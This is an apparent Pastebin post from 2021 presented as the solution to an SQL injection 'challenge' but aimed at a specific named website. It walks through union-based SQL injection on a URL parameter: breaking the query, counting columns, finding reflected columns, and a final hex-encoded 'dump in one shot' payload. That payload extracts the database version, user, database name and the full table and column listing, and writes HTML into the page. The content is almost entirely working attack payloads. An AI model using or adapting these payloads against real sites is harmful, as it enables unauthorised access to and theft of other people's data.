Advertisement
9r3nXPaRTa

SQLinjection Whoiskeystone by GrenXPaRTa

Nov 23rd, 2021
2,598
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
SQL 1.36 KB | None | 0 0
  1. [SOLVE OF SQLi CHALLENGE]
  2.  
  3. Site   : http://whoiskeystone.com/?act=affiliates.page&pcode=members
  4.  
  5. Firstly We Will Fix The Site
  6.  
  7. http://whoiskeystone.com/?act=affiliates.page&pcode=members'--+-
  8.  
  9. Count Column
  10.  
  11. http://whoiskeystone.com/?act=affiliates.page&pcode=members' ORDER BY 8--+-
  12.  
  13. Now Do UNION SELECT
  14.  
  15. http://whoiskeystone.com/?act=affiliates.page&pcode=members' and 0 union select 1,2,3,4,5,6,7,8--+-
  16.  
  17. Oops White Page Error Lets See View Source. There Is Nothing :)
  18.  
  19. Now Use Null Method
  20.  
  21. http://whoiskeystone.com/?act=affiliates.page&pcode=members' AND 0 UNION SELECT 1,2,3,NULL,5,6,7,8--+-
  22.  
  23. Got The COLUMN 5 ;) | Another COLUMN IS Also Vulnerable, FOR This Just USE NULL IN 4 AND 5 NUMBER COLUMNS.
  24.  
  25. http://whoiskeystone.com/?act=affiliates.page&pcode=members' and 0 union select 1,2,3,null,null,6,7,8--+-
  26.  
  27. Yup Now Vulnerable Is 2.
  28.  
  29. Lets Print Dios In Any Column.
  30.  
  31. http://whoiskeystone.com/?act=affiliates.page&pcode=members%27%20and%200%20union%20select%201,2,3,null,concat(0x3c2f7363726970743e3c666f6e7420636f6c6f723d7265643e4772656e5850615254613c2f666f6e743e3c62723e,version(),0x3c62723e,user(),0x3c62723e,database(),0x3c62723e,0x3c62723e,(select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0x203a3a20,2)),@,2))),6,7,8--+-
  32.  
  33. Thanks to All Member SQL Injection
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement